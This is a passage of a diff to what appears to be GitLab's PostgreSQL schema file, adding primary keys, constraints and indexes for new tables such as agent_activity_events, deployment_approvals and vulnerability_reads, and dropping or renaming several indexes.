ADD CONSTRAINT product_analytics_events_experimental_pkey PRIMARY KEY (id, project_id);
@@ -22410,6 +22705,9 @@ ALTER TABLE ONLY gitlab_partitions_static.product_analytics_events_experimental_
ALTER TABLE ONLY abuse_reports
ADD CONSTRAINT abuse_reports_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY agent_activity_events
+ ADD CONSTRAINT agent_activity_events_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY agent_group_authorizations
ADD CONSTRAINT agent_group_authorizations_pkey PRIMARY KEY (id);
@@ -22611,6 +22909,9 @@ ALTER TABLE ONLY chat_teams
ALTER TABLE vulnerability_scanners
ADD CONSTRAINT check_37608c9db5 CHECK ((char_length(vendor) <= 255)) NOT VALID;
+ALTER TABLE security_findings
+ ADD CONSTRAINT check_6c2851a8c9 CHECK ((uuid IS NOT NULL)) NOT VALID;
+
ALTER TABLE sprints
ADD CONSTRAINT check_ccd8a1eae0 CHECK ((start_date IS NOT NULL)) NOT VALID;
@@ -22671,6 +22972,9 @@ ALTER TABLE ONLY ci_job_variables
ALTER TABLE ONLY ci_minutes_additional_packs
ADD CONSTRAINT ci_minutes_additional_packs_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_namespace_mirrors
+ ADD CONSTRAINT ci_namespace_mirrors_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_namespace_monthly_usages
ADD CONSTRAINT ci_namespace_monthly_usages_pkey PRIMARY KEY (id);
@@ -22704,6 +23008,9 @@ ALTER TABLE ONLY ci_pipelines
ALTER TABLE ONLY ci_platform_metrics
ADD CONSTRAINT ci_platform_metrics_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_project_mirrors
+ ADD CONSTRAINT ci_project_mirrors_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_project_monthly_usages
ADD CONSTRAINT ci_project_monthly_usages_pkey PRIMARY KEY (id);
@@ -22905,6 +23212,9 @@ ALTER TABLE ONLY deploy_keys_projects
ALTER TABLE ONLY deploy_tokens
ADD CONSTRAINT deploy_tokens_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY deployment_approvals
+ ADD CONSTRAINT deployment_approvals_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY deployment_clusters
ADD CONSTRAINT deployment_clusters_pkey PRIMARY KEY (deployment_id);
@@ -23172,6 +23482,9 @@ ALTER TABLE ONLY incident_management_pending_alert_escalations
ALTER TABLE ONLY incident_management_pending_issue_escalations
ADD CONSTRAINT incident_management_pending_issue_escalations_pkey PRIMARY KEY (id, process_at);
+ALTER TABLE ONLY incident_management_timeline_events
+ ADD CONSTRAINT incident_management_timeline_events_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY index_statuses
ADD CONSTRAINT index_statuses_pkey PRIMARY KEY (id);
@@ -23205,6 +23518,9 @@ ALTER TABLE ONLY issue_customer_relations_contacts
ALTER TABLE ONLY issue_email_participants
ADD CONSTRAINT issue_email_participants_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY issue_emails
+ ADD CONSTRAINT issue_emails_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY issue_links
ADD CONSTRAINT issue_links_pkey PRIMARY KEY (id);
@@ -23265,6 +23581,9 @@ ALTER TABLE ONLY ldap_group_links
ALTER TABLE ONLY lfs_file_locks
ADD CONSTRAINT lfs_file_locks_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY lfs_object_states
+ ADD CONSTRAINT lfs_object_states_pkey PRIMARY KEY (lfs_object_id);
+
ALTER TABLE ONLY lfs_objects
ADD CONSTRAINT lfs_objects_pkey PRIMARY KEY (id);
@@ -23280,6 +23599,9 @@ ALTER TABLE ONLY list_user_preferences
ALTER TABLE ONLY lists
ADD CONSTRAINT lists_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY loose_foreign_keys_deleted_records
+ ADD CONSTRAINT loose_foreign_keys_deleted_records_pkey PRIMARY KEY (partition, id);
+
ALTER TABLE ONLY member_tasks
ADD CONSTRAINT member_tasks_pkey PRIMARY KEY (id);
@@ -23328,6 +23650,9 @@ ALTER TABLE ONLY merge_request_user_mentions
ALTER TABLE ONLY merge_requests_closing_issues
ADD CONSTRAINT merge_requests_closing_issues_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY merge_requests_compliance_violations
+ ADD CONSTRAINT merge_requests_compliance_violations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY merge_requests
ADD CONSTRAINT merge_requests_pkey PRIMARY KEY (id);
@@ -23370,6 +23695,9 @@ ALTER TABLE ONLY namespace_statistics
ALTER TABLE ONLY namespaces
ADD CONSTRAINT namespaces_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY namespaces_sync_events
+ ADD CONSTRAINT namespaces_sync_events_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY note_diff_files
ADD CONSTRAINT note_diff_files_pkey PRIMARY KEY (id);
@@ -23511,6 +23839,9 @@ ALTER TABLE ONLY packages_rubygems_metadata
ALTER TABLE ONLY packages_tags
ADD CONSTRAINT packages_tags_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY pages_deployment_states
+ ADD CONSTRAINT pages_deployment_states_pkey PRIMARY KEY (pages_deployment_id);
+
ALTER TABLE ONLY pages_deployments
ADD CONSTRAINT pages_deployments_pkey PRIMARY KEY (id);
@@ -23640,6 +23971,9 @@ ALTER TABLE ONLY project_tracing_settings
ALTER TABLE ONLY projects
ADD CONSTRAINT projects_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY projects_sync_events
+ ADD CONSTRAINT projects_sync_events_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY prometheus_alert_events
ADD CONSTRAINT prometheus_alert_events_pkey PRIMARY KEY (id);
@@ -23763,6 +24097,9 @@ ALTER TABLE ONLY sent_notifications
ALTER TABLE ONLY sentry_issues
ADD CONSTRAINT sentry_issues_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY sprints
+ ADD CONSTRAINT sequence_is_unique_per_iterations_cadence_id UNIQUE (iterations_cadence_id, sequence) DEFERRABLE INITIALLY DEFERRED;
+
ALTER TABLE ONLY serverless_domain_cluster
ADD CONSTRAINT serverless_domain_cluster_pkey PRIMARY KEY (uuid);
@@ -23859,6 +24196,9 @@ ALTER TABLE ONLY u2f_registrations
ALTER TABLE ONLY upcoming_reconciliations
ADD CONSTRAINT upcoming_reconciliations_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY upload_states
+ ADD CONSTRAINT upload_states_pkey PRIMARY KEY (upload_id);
+
ALTER TABLE ONLY uploads
ADD CONSTRAINT uploads_pkey PRIMARY KEY (id);
@@ -23985,6 +24325,9 @@ ALTER TABLE ONLY vulnerability_occurrence_pipelines
ALTER TABLE ONLY vulnerability_occurrences
ADD CONSTRAINT vulnerability_occurrences_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_reads
+ ADD CONSTRAINT vulnerability_reads_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_remediations
ADD CONSTRAINT vulnerability_remediations_pkey PRIMARY KEY (id);
@@ -24038,10 +24381,6 @@ CREATE INDEX index_merge_request_stage_events_project_duration ON ONLY analytics
CREATE INDEX index_006f943df6 ON gitlab_partitions_static.analytics_cycle_analytics_merge_request_stage_events_16 USING btree (stage_event_hash_id, project_id, end_event_timestamp, merge_request_id, start_event_timestamp) WHERE (end_event_timestamp IS NOT NULL);
-CREATE INDEX index_loose_foreign_keys_deleted_records_for_partitioned_query ON ONLY loose_foreign_keys_deleted_records USING btree (partition, fully_qualified_table_name, consume_after, id) WHERE (status = 1);
-
-CREATE INDEX index_01e3390fac ON gitlab_partitions_static.loose_foreign_keys_deleted_records_1 USING btree (partition, fully_qualified_table_name, consume_after, id) WHERE (status = 1);
-
CREATE INDEX index_02749b504c ON gitlab_partitions_static.analytics_cycle_analytics_merge_request_stage_events_11 USING btree (stage_event_hash_id, project_id, end_event_timestamp, merge_request_id, start_event_timestamp) WHERE (end_event_timestamp IS NOT NULL);
CREATE INDEX index_merge_request_stage_events_group_duration ON ONLY analytics_cycle_analytics_merge_request_stage_events USING btree (stage_event_hash_id, group_id, end_event_timestamp, merge_request_id, start_event_timestamp) WHERE (end_event_timestamp IS NOT NULL);
@@ -24750,7 +25089,7 @@ CREATE INDEX finding_evidence_sources_on_finding_evidence_id ON vulnerability_fi
CREATE INDEX finding_evidence_supporting_messages_on_finding_evidence_id ON vulnerability_finding_evidence_supporting_messages USING btree (vulnerability_finding_evidence_id);
-CREATE INDEX finding_evidences_on_vulnerability_occurrence_id ON vulnerability_finding_evidences USING btree (vulnerability_occurrence_id);
+CREATE UNIQUE INDEX finding_evidences_on_unique_vulnerability_occurrence_id ON vulnerability_finding_evidences USING btree (vulnerability_occurrence_id);
CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
@@ -24840,8 +25179,6 @@ CREATE UNIQUE INDEX idx_on_external_status_checks_project_id_external_url ON ext
CREATE UNIQUE INDEX idx_on_external_status_checks_project_id_name ON external_status_checks USING btree (project_id, name);
-CREATE INDEX idx_packages_build_infos_on_package_id ON packages_build_infos USING btree (package_id);
-
CREATE INDEX idx_packages_debian_group_component_files_on_architecture_id ON packages_debian_group_component_files USING btree (architecture_id);
CREATE INDEX idx_packages_debian_project_component_files_on_architecture_id ON packages_debian_project_component_files USING btree (architecture_id);
@@ -24902,6 +25239,16 @@ CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_link_t
CREATE INDEX index_abuse_reports_on_user_id ON abuse_reports USING btree (user_id);
+CREATE INDEX index_agent_activity_events_on_agent_id_and_recorded_at_and_id ON agent_activity_events USING btree (agent_id, recorded_at, id);
+
+CREATE INDEX index_agent_activity_events_on_agent_token_id ON agent_activity_events USING btree (agent_token_id) WHERE (agent_token_id IS NOT NULL);
+
+CREATE INDEX index_agent_activity_events_on_merge_request_id ON agent_activity_events USING btree (merge_request_id) WHERE (merge_request_id IS NOT NULL);
+
+CREATE INDEX index_agent_activity_events_on_project_id ON agent_activity_events USING btree (project_id) WHERE (project_id IS NOT NULL);
+
+CREATE INDEX index_agent_activity_events_on_user_id ON agent_activity_events USING btree (user_id) WHERE (user_id IS NOT NULL);
+
CREATE UNIQUE INDEX index_agent_group_authorizations_on_agent_id_and_group_id ON agent_group_authorizations USING btree (agent_id, group_id);
CREATE INDEX index_agent_group_authorizations_on_group_id ON agent_group_authorizations USING btree (group_id);
@@ -25268,6 +25615,8 @@ CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON ci_job_variables
CREATE INDEX index_ci_minutes_additional_packs_on_namespace_id_purchase_xid ON ci_minutes_additional_packs USING btree (namespace_id, purchase_xid);
+CREATE UNIQUE INDEX index_ci_namespace_mirrors_on_namespace_id ON ci_namespace_mirrors USING btree (namespace_id);
+
CREATE UNIQUE INDEX index_ci_namespace_monthly_usages_on_namespace_id_and_date ON ci_namespace_monthly_usages USING btree (namespace_id, date);
CREATE INDEX index_ci_pending_builds_id_on_protected_partial ON ci_pending_builds USING btree (id) WHERE (protected = true);
@@ -25356,6 +25705,10 @@ CREATE INDEX index_ci_pipelines_on_user_id_and_created_at_and_source ON ci_pipel
CREATE INDEX index_ci_pipelines_on_user_id_and_id_and_cancelable_status ON ci_pipelines USING btree (user_id, id) WHERE ((status)::text = ANY (ARRAY[('running'::character varying)::text, ('waiting_for_resource'::character varying)::text, ('preparing'::character varying)::text, ('pending'::character varying)::text, ('created'::character varying)::text, ('scheduled'::character varying)::text]));
+CREATE INDEX index_ci_project_mirrors_on_namespace_id ON ci_project_mirrors USING btree (namespace_id);
+
+CREATE UNIQUE INDEX index_ci_project_mirrors_on_project_id ON ci_project_mirrors USING btree (project_id);
+
CREATE UNIQUE INDEX index_ci_project_monthly_usages_on_project_id_and_date ON ci_project_monthly_usages USING btree (project_id, date);
CREATE UNIQUE INDEX index_ci_refs_on_project_id_and_ref_path ON ci_refs USING btree (project_id, ref_path);
@@ -25376,10 +25729,14 @@ CREATE INDEX index_ci_runner_projects_on_runner_id ON ci_runner_projects USING b
CREATE INDEX index_ci_runners_on_contacted_at_and_id_desc ON ci_runners USING btree (contacted_at, id DESC);
+CREATE INDEX index_ci_runners_on_contacted_at_and_id_where_inactive ON ci_runners USING btree (contacted_at DESC, id DESC) WHERE (active = false);
+
CREATE INDEX index_ci_runners_on_contacted_at_desc_and_id_desc ON ci_runners USING btree (contacted_at DESC, id DESC);
CREATE INDEX index_ci_runners_on_created_at_and_id_desc ON ci_runners USING btree (created_at, id DESC);
+CREATE INDEX index_ci_runners_on_created_at_and_id_where_inactive ON ci_runners USING btree (created_at DESC, id DESC) WHERE (active = false);
+
CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON ci_runners USING btree (created_at DESC, id DESC);
CREATE INDEX index_ci_runners_on_description_trigram ON ci_runners USING gin (description gin_trgm_ops);
@@ -25532,7 +25889,7 @@ CREATE INDEX index_container_repository_on_name_trigram ON container_repositorie
CREATE UNIQUE INDEX index_content_blocked_states_on_container_id_commit_sha_path ON content_blocked_states USING btree (container_identifier, commit_sha, path);
-CREATE INDEX index_coverage_fuzzing_corpuses_on_package_id ON coverage_fuzzing_corpuses USING btree (package_id);
+CREATE UNIQUE INDEX index_coverage_fuzzing_corpuses_on_package_id ON coverage_fuzzing_corpuses USING btree (package_id);
CREATE INDEX index_coverage_fuzzing_corpuses_on_project_id ON coverage_fuzzing_corpuses USING btree (project_id);
@@ -25622,6 +25979,10 @@ CREATE INDEX index_deploy_tokens_on_token_and_expires_at_and_id ON deploy_tokens
CREATE UNIQUE INDEX index_deploy_tokens_on_token_encrypted ON deploy_tokens USING btree (token_encrypted);
+CREATE UNIQUE INDEX index_deployment_approvals_on_deployment_id_and_user_id ON deployment_approvals USING btree (deployment_id, user_id);
+
+CREATE INDEX index_deployment_approvals_on_user_id ON deployment_approvals USING btree (user_id);
+
CREATE UNIQUE INDEX index_deployment_clusters_on_cluster_id_and_deployment_id ON deployment_clusters USING btree (cluster_id, deployment_id);
CREATE INDEX index_deployment_merge_requests_on_merge_request_id ON deployment_merge_requests USING btree (merge_request_id);
@@ -25810,14 +26171,14 @@ CREATE INDEX index_et_errors_on_project_id_and_status_first_seen_at_id_desc ON e
CREATE INDEX index_et_errors_on_project_id_and_status_last_seen_at_id_desc ON error_tracking_errors USING btree (project_id, status, last_seen_at DESC, id DESC);
+CREATE INDEX index_events_author_id_project_id_action_target_type_created_at ON events USING btree (author_id, project_id, action, target_type, created_at);
+
CREATE INDEX index_events_on_action ON events USING btree (action);
CREATE INDEX index_events_on_author_id_and_created_at ON events USING btree (author_id, created_at);
CREATE INDEX index_events_on_author_id_and_created_at_merge_requests ON events USING btree (author_id, created_at) WHERE ((target_type)::text = 'MergeRequest'::text);
-CREATE INDEX index_events_on_author_id_and_project_id ON events USING btree (author_id, project_id);
-
CREATE INDEX index_events_on_created_at_and_id ON events USING btree (created_at, id) WHERE (created_at > '2021-08-27 00:00:00+00'::timestamp with time zone);
CREATE INDEX index_events_on_group_id_partial ON events USING btree (group_id) WHERE (group_id IS NOT NULL);
@@ -25932,6 +26293,8 @@ CREATE INDEX index_geo_repository_updated_events_on_source ON geo_repository_upd
CREATE INDEX index_geo_reset_checksum_events_on_project_id ON geo_reset_checksum_events USING btree (project_id);
+CREATE INDEX index_gin_ci_namespace_mirrors_on_traversal_ids ON ci_namespace_mirrors USING gin (traversal_ids);
+
CREATE INDEX index_gin_ci_pending_builds_on_namespace_traversal_ids ON ci_pending_builds USING gin (namespace_traversal_ids);
CREATE INDEX index_gitlab_subscription_histories_on_gitlab_subscription_id ON gitlab_subscription_histories USING btree (gitlab_subscription_id);
@@ -26022,6 +26385,16 @@ CREATE INDEX index_im_issuable_escalation_statuses_on_policy_id ON incident_mana
CREATE UNIQUE INDEX index_im_oncall_schedules_on_project_id_and_iid ON incident_management_oncall_schedules USING btree (project_id, iid);
+CREATE INDEX index_im_timeline_events_author_id ON incident_management_timeline_events USING btree (author_id);
+
+CREATE INDEX index_im_timeline_events_issue_id ON incident_management_timeline_events USING btree (issue_id);
+
+CREATE INDEX index_im_timeline_events_project_id ON incident_management_timeline_events USING btree (project_id);
+
+CREATE INDEX index_im_timeline_events_promoted_from_note_id ON incident_management_timeline_events USING btree (promoted_from_note_id);
+
+CREATE INDEX index_im_timeline_events_updated_by_user_id ON incident_management_timeline_events USING btree (updated_by_user_id);
+
CREATE UNIQUE INDEX index_import_export_uploads_on_group_id ON import_export_uploads USING btree (group_id) WHERE (group_id IS NOT NULL);
CREATE INDEX index_import_export_uploads_on_project_id ON import_export_uploads USING btree (project_id);
@@ -26116,14 +26489,16 @@ CREATE INDEX index_issue_customer_relations_contacts_on_contact_id ON issue_cust
CREATE UNIQUE INDEX index_issue_email_participants_on_issue_id_and_lower_email ON issue_email_participants USING btree (issue_id, lower(email));
+CREATE INDEX index_issue_emails_on_email_message_id ON issue_emails USING btree (email_message_id);
+
+CREATE INDEX index_issue_emails_on_issue_id ON issue_emails USING btree (issue_id);
+
CREATE INDEX index_issue_links_on_source_id ON issue_links USING btree (source_id);
CREATE UNIQUE INDEX index_issue_links_on_source_id_and_target_id ON issue_links USING btree (source_id, target_id);
CREATE INDEX index_issue_links_on_target_id ON issue_links USING btree (target_id);
-CREATE INDEX index_issue_metrics_first_mentioned_in_commit ON issue_metrics USING btree (issue_id) WHERE (date_part('year'::text, first_mentioned_in_commit_at) > (2019)::double precision);
-
CREATE INDEX index_issue_metrics_on_issue_id_and_timestamps ON issue_metrics USING btree (issue_id, first_mentioned_in_commit_at, first_associated_with_milestone_at, first_added_to_board_at);
CREATE INDEX index_issue_on_project_id_state_id_and_blocking_issues_count ON issues USING btree (project_id, state_id, blocking_issues_count);
@@ -26232,6 +26607,16 @@ CREATE UNIQUE INDEX index_lfs_file_locks_on_project_id_and_path ON lfs_file_lock
CREATE INDEX index_lfs_file_locks_on_user_id ON lfs_file_locks USING btree (user_id);
+CREATE INDEX index_lfs_object_states_failed_verification ON lfs_object_states USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_lfs_object_states_needs_verification ON lfs_object_states USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
+CREATE INDEX index_lfs_object_states_on_lfs_object_id ON lfs_object_states USING btree (lfs_object_id);
+
+CREATE INDEX index_lfs_object_states_on_verification_state ON lfs_object_states USING btree (verification_state);
+
+CREATE INDEX index_lfs_object_states_pending_verification ON lfs_object_states USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_lfs_objects_on_file_store ON lfs_objects USING btree (file_store);
CREATE UNIQUE INDEX index_lfs_objects_on_oid ON lfs_objects USING btree (oid);
@@ -26258,6 +26643,8 @@ CREATE INDEX index_lists_on_milestone_id ON lists USING btree (milestone_id);
CREATE INDEX index_lists_on_user_id ON lists USING btree (user_id);
+CREATE INDEX index_loose_foreign_keys_deleted_records_for_partitioned_query ON ONLY loose_foreign_keys_deleted_records USING btree (partition, fully_qualified_table_name, consume_after, id) WHERE (status = 1);
+
CREATE INDEX index_member_tasks_on_member_id ON member_tasks USING btree (member_id);
CREATE UNIQUE INDEX index_member_tasks_on_member_id_and_project_id ON member_tasks USING btree (member_id, project_id);
@@ -26342,6 +26729,10 @@ CREATE INDEX index_merge_requests_closing_issues_on_issue_id ON merge_requests_c
CREATE INDEX index_merge_requests_closing_issues_on_merge_request_id ON merge_requests_closing_issues USING btree (merge_request_id);
+CREATE INDEX index_merge_requests_compliance_violations_on_violating_user_id ON merge_requests_compliance_violations USING btree (violating_user_id);
+
+CREATE UNIQUE INDEX index_merge_requests_compliance_violations_unique_columns ON merge_requests_compliance_violations USING btree (merge_request_id, violating_user_id, reason);
+
CREATE INDEX index_merge_requests_on_assignee_id ON merge_requests USING btree (assignee_id);
CREATE INDEX index_merge_requests_on_author_id ON merge_requests USING btree (author_id);
@@ -26488,6 +26879,8 @@ CREATE INDEX index_namespaces_on_type_and_id ON namespaces USING btree (type, id
CREATE INDEX index_namespaces_public_groups_name_id ON namespaces USING btree (name, id) WHERE (((type)::text = 'Group'::text) AND (visibility_level = 20));
+CREATE INDEX index_namespaces_sync_events_on_namespace_id ON namespaces_sync_events USING btree (namespace_id);
+
CREATE INDEX index_non_requested_project_members_on_source_id_and_type ON members USING btree (source_id, source_type) WHERE ((requested_at IS NULL) AND ((type)::text = 'ProjectMember'::text));
CREATE UNIQUE INDEX index_note_diff_files_on_diff_note_id ON note_diff_files USING btree (diff_note_id);
@@ -26504,8 +26897,6 @@ CREATE INDEX index_notes_on_discussion_id ON notes USING btree (discussion_id);
CREATE INDEX index_notes_on_line_code ON notes USING btree (line_code);
-CREATE INDEX index_notes_on_note_trigram ON notes USING gin (note gin_trgm_ops);
-
CREATE INDEX index_notes_on_noteable_id_and_noteable_type_and_system ON notes USING btree (noteable_id, noteable_type, system);
CREATE INDEX index_notes_on_project_id_and_id_and_system_false ON notes USING btree (project_id, id) WHERE (NOT system);
@@ -26604,6 +26995,8 @@ CREATE UNIQUE INDEX index_ops_strategies_user_lists_on_strategy_id_and_user_list
CREATE INDEX index_packages_build_infos_on_pipeline_id ON packages_build_infos USING btree (pipeline_id);
+CREATE INDEX index_packages_build_infos_package_id_pipeline_id ON packages_build_infos USING btree (package_id, pipeline_id);
+
CREATE UNIQUE INDEX index_packages_composer_cache_namespace_and_sha ON packages_composer_cache_files USING btree (namespace_id, file_sha256);
CREATE UNIQUE INDEX index_packages_composer_metadata_on_package_id_and_target_sha ON packages_composer_metadata USING btree (package_id, target_sha);
@@ -26682,6 +27075,16 @@ CREATE INDEX index_packages_tags_on_package_id ON packages_tags USING btree (pac
CREATE INDEX index_packages_tags_on_package_id_and_updated_at ON packages_tags USING btree (package_id, updated_at DESC);
+CREATE INDEX index_pages_deployment_states_failed_verification ON pages_deployment_states USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_pages_deployment_states_needs_verification ON pages_deployment_states USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
+CREATE INDEX index_pages_deployment_states_on_pages_deployment_id ON pages_deployment_states USING btree (pages_deployment_id);
+
+CREATE INDEX index_pages_deployment_states_on_verification_state ON pages_deployment_states USING btree (verification_state);
+
+CREATE INDEX index_pages_deployment_states_pending_verification ON pages_deployment_states USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_pages_deployments_on_ci_build_id ON pages_deployments USING btree (ci_build_id);
CREATE INDEX index_pages_deployments_on_file_store_and_id ON pages_deployments USING btree (file_store, id);
@@ -26886,6 +27289,8 @@ CREATE INDEX index_projects_api_vis20_path ON projects USING btree (path, id) WH
CREATE INDEX index_projects_api_vis20_updated_at ON projects USING btree (updated_at, id) WHERE (visibility_level = 20);
+CREATE INDEX index_projects_not_aimed_for_deletion ON projects USING btree (id) WHERE (marked_for_deletion_at IS NULL);
+
CREATE INDEX index_projects_on_created_at_and_id ON projects USING btree (created_at, id);
CREATE INDEX index_projects_on_creator_id_and_created_at_and_id ON projects USING btree (creator_id, created_at, id);
@@ -26948,6 +27353,8 @@ CREATE INDEX index_projects_on_star_count ON projects USING btree (star_count);
CREATE INDEX index_projects_on_updated_at_and_id ON projects USING btree (updated_at, id);
+CREATE INDEX index_projects_sync_events_on_project_id ON projects_sync_events USING btree (project_id);
+
CREATE UNIQUE INDEX index_prometheus_alert_event_scoped_payload_key ON prometheus_alert_events USING btree (prometheus_alert_id, payload_key);
CREATE INDEX index_prometheus_alert_events_on_project_id_and_status ON prometheus_alert_events USING btree (project_id, status);
@@ -27226,6 +27633,8 @@ CREATE INDEX index_snippets_on_id_and_created_at ON snippets USING btree (id, cr
CREATE INDEX index_snippets_on_id_and_type ON snippets USING btree (id, type);
+CREATE INDEX index_snippets_on_project_id_and_title ON snippets USING btree (project_id, title);
+
CREATE INDEX index_snippets_on_project_id_and_visibility_level ON snippets USING btree (project_id, visibility_level);
CREATE INDEX index_snippets_on_title_trigram ON snippets USING gin (title gin_trgm_ops);
@@ -27348,7 +27757,9 @@ CREATE INDEX index_todos_on_group_id ON todos USING btree (group_id);
CREATE INDEX index_todos_on_note_id ON todos USING btree (note_id);
-CREATE INDEX index_todos_on_project_id ON todos USING btree (project_id);
+CREATE INDEX index_todos_on_project_id_and_id ON todos USING btree (project_id, id);
+
+CREATE INDEX index_todos_on_project_id_and_user_id_and_id ON todos USING btree (project_id, user_id, id);
CREATE INDEX index_todos_on_target_type_and_target_id ON todos USING btree (target_type, target_id);
@@ -27384,6 +27795,16 @@ CREATE UNIQUE INDEX index_unit_test_failures_unique_columns ON ci_unit_test_fail
CREATE UNIQUE INDEX index_upcoming_reconciliations_on_namespace_id ON upcoming_reconciliations USING btree (namespace_id);
+CREATE INDEX index_upload_states_failed_verification ON upload_states USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_upload_states_needs_verification ON upload_states USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
+CREATE INDEX index_upload_states_on_upload_id ON upload_states USING btree (upload_id);
+
+CREATE INDEX index_upload_states_on_verification_state ON upload_states USING btree (verification_state);
+
+CREATE INDEX index_upload_states_pending_verification ON upload_states USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_uploads_on_checksum ON uploads USING btree (checksum);
CREATE INDEX index_uploads_on_model_id_and_model_type ON uploads USING btree (model_id, model_type);
@@ -27464,7 +27885,7 @@ CREATE INDEX index_users_on_name ON users USING btree (name);
CREATE INDEX index_users_on_name_trigram ON users USING gin (name gin_trgm_ops);
-CREATE INDEX index_users_on_public_email ON users USING btree (public_email) WHERE ((public_email)::text <> ''::text);
+CREATE INDEX index_users_on_public_email_excluding_null_and_empty ON users USING btree (public_email) WHERE (((public_email)::text <> ''::text) AND (public_email IS NOT NULL));
CREATE INDEX index_users_on_require_two_factor_authentication_from_group ON users USING btree (require_two_factor_authentication_from_group) WHERE (require_two_factor_authentication_from_group = true);
@@ -27504,6 +27925,8 @@ COMMENT ON INDEX index_verification_codes_on_phone_and_visitor_id_code IS 'JiHu-
CREATE UNIQUE INDEX index_vuln_historical_statistics_on_project_id_and_date ON vulnerability_historical_statistics USING btree (project_id, date);
+CREATE INDEX index_vuln_reads_on_project_id_state_severity_and_vuln_id ON vulnerability_reads USING btree (project_id, state, severity, vulnerability_id DESC);
+
CREATE INDEX index_vulnerabilities_on_author_id ON vulnerabilities USING btree (author_id);
CREATE INDEX index_vulnerabilities_on_confirmed_by_id ON vulnerabilities USING btree (confirmed_by_id);
@@ -27582,10 +28005,14 @@ CREATE INDEX index_vulnerability_occurrences_deduplication ON vulnerability_occu
CREATE INDEX index_vulnerability_occurrences_for_issue_links_migration ON vulnerability_occurrences USING btree (project_id, report_type, encode(project_fingerprint, 'hex'::text));
+CREATE INDEX index_vulnerability_occurrences_on_location_agent_id ON vulnerability_occurrences USING gin (((location -> 'agent_id'::text))) WHERE (report_type = 7);
+
CREATE INDEX index_vulnerability_occurrences_on_location_cluster_id ON vulnerability_occurrences USING gin (((location -> 'cluster_id'::text))) WHERE (report_type = 7);
CREATE INDEX index_vulnerability_occurrences_on_location_image ON vulnerability_occurrences USING gin (((location -> 'image'::text))) WHERE (report_type = ANY (ARRAY[2, 7]));
+CREATE INDEX index_vulnerability_occurrences_on_migrated_to_new_structure ON vulnerability_occurrences USING btree (migrated_to_new_structure, id);
+
CREATE INDEX index_vulnerability_occurrences_on_primary_identifier_id ON vulnerability_occurrences USING btree (primary_identifier_id);
CREATE INDEX index_vulnerability_occurrences_on_project_fingerprint ON vulnerability_occurrences USING btree (project_fingerprint);
@@ -27598,6 +28025,14 @@ CREATE UNIQUE INDEX index_vulnerability_occurrences_on_uuid ON vulnerability_occ
CREATE INDEX index_vulnerability_occurrences_on_vulnerability_id ON vulnerability_occurrences USING btree (vulnerability_id);
+CREATE INDEX index_vulnerability_reads_on_location_image ON vulnerability_reads USING btree (location_image) WHERE (report_type = ANY (ARRAY[2, 7]));
+
+CREATE INDEX index_vulnerability_reads_on_scanner_id ON vulnerability_reads USING btree (scanner_id);
+
+CREATE UNIQUE INDEX index_vulnerability_reads_on_uuid ON vulnerability_reads USING btree (uuid);
+
+CREATE UNIQUE INDEX index_vulnerability_reads_on_vulnerability_id ON vulnerability_reads USING btree (vulnerability_id);
+
CREATE UNIQUE INDEX index_vulnerability_remediations_on_project_id_and_checksum ON vulnerability_remediations USING btree (project_id, checksum);
CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON vulnerability_scanners USING btree (project_id, external_id);
@@ -27720,6 +28155,8 @@ CREATE UNIQUE INDEX tmp_index_on_tmp_project_id_on_namespaces ON namespaces USIN
CREATE INDEX tmp_index_on_vulnerabilities_non_dismissed ON vulnerabilities USING btree (id) WHERE (state <> 2);
+CREATE INDEX tmp_index_uuid_is_null ON security_findings USING btree (id) WHERE (uuid IS NULL);
+
CREATE UNIQUE INDEX uniq_pkgs_deb_grp_architectures_on_distribution_id_and_name ON packages_debian_group_architectures USING btree (distribution_id, name);
CREATE UNIQUE INDEX uniq_pkgs_deb_grp_components_on_distribution_id_and_name ON packages_debian_group_components USING btree (distribution_id, name);
@@ -27744,8 +28181,6 @@ CREATE UNIQUE INDEX vulnerability_feedback_unique_idx ON vulnerability_feedback
CREATE UNIQUE INDEX vulnerability_occurrence_pipelines_on_unique_keys ON vulnerability_occurrence_pipelines USING btree (occurrence_id, pipeline_id);
-CREATE INDEX vulnerability_occurrences_location_temp_index ON vulnerability_occurrences USING btree (id) WHERE (location IS NULL);
-
